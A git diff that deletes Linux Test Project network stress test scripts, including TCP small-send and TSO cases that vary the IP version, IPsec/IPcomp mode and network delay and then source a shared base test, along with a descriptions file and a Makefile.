a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend07 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend07 deleted file mode 100644 index ab57cdb8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend07 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend07 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend08 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend08 deleted file mode 100644 index 212ea308..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend08 +++ /dev/null @@ -1,62 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend08 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend09 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend09 deleted file mode 100644 index 00e22ff9..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend09 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend09 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend10 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend10 deleted file mode 100644 index d22b7e46..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend10 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend10 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend11 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend11 deleted file mode 100644 index c26125b0..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend11 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend11 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12 deleted file mode 100644 index f7a81217..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend12 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend13 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend13 deleted file mode 100644 index 2bb834ea..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend13 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend13 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14 deleted file mode 100644 index 90de0040..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend14 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/uni-tso/00_Descriptions.txt deleted file mode 100644 index 46a671ae..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/00_Descriptions.txt +++ /dev/null @@ -1,125 +0,0 @@ -Verify that the kernel, whose NIC supports TCP Segmentation Offload, -is not crashed by a connection enabling TCP window scaling - -tcp4-uni-tso01 - IPv4 - -tcp4-uni-tso02 - IPv4 - IPsec [ AH / transport ] - -tcp4-uni-tso03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-uni-tso04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-uni-tso05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-uni-tso06 - IPv4 - IPcomp [ transport ] - -tcp4-uni-tso07 - IPv4 - IPcomp [ tunnel ] - -tcp4-uni-tso08 - IPv4 - Network is delayed - -tcp4-uni-tso09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-uni-tso10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-uni-tso11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-uni-tso12 - IPv4 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp4-uni-tso13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-uni-tso14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-uni-tso01 - IPv6 - -tcp6-uni-tso02 - IPv6 - IPsec [ AH / transport ] - -tcp6-uni-tso03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-uni-tso04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-uni-tso05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-uni-tso06 - IPv6 - IPcomp [ transport ] - -tcp6-uni-tso07 - IPv6 - IPcomp [ tunnel ] - -tcp6-uni-tso08 - IPv6 - Network is delayed - -tcp6-uni-tso09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-uni-tso10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-uni-tso11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-uni-tso12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-uni-tso13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-uni-tso14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/uni-tso/Makefile b/ltp/testcases/network/stress/tcp/uni-tso/Makefile deleted file mode 100644 index cd70ed22..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/tcp/uni-tso testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso01 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso01 deleted file mode 100644 index d8e9da1e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso01 +++ /dev/null @@ -1,78 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso01 -# -# Description: -# Verify that the kernel is not crashed with a connection to with -# the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# - Enable window scaling -# - Enable Nagle algorithm -# - Enable TCP Duplicate SACK support -# - Enable SACK Support -# - No packet are lost -# - Enable TSO if it is avalable -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-uni-tso01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel, whose NIC supports TCP Segmentation Offload, is not crashed by a connection enabling TCP window scaling" - -# Enable window scaling -DO_WINDOW_SCALING=true - -# Enable TSO -DO_TSO=true - -# Load tcp4-uni-basic01 -NON_BASIC=true - -. tcp4-uni-basic01 - -exit 0 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso02 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso02 deleted file mode 100644 index 4de6c7cb..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso02 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso02 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03 deleted file mode 100644 index d38d0943..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso03 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso04 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso04 deleted file mode 100644 index e4ae4450..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso04 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso04 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso05 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso05 deleted file mode 100644 index a60c4d7c..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso05 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso06 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso06 deleted file mode 100644 index a6f32e44..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso06 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso07 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso07 deleted file mode 100644 index 4c4256b4..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso07 +++ /dev/null 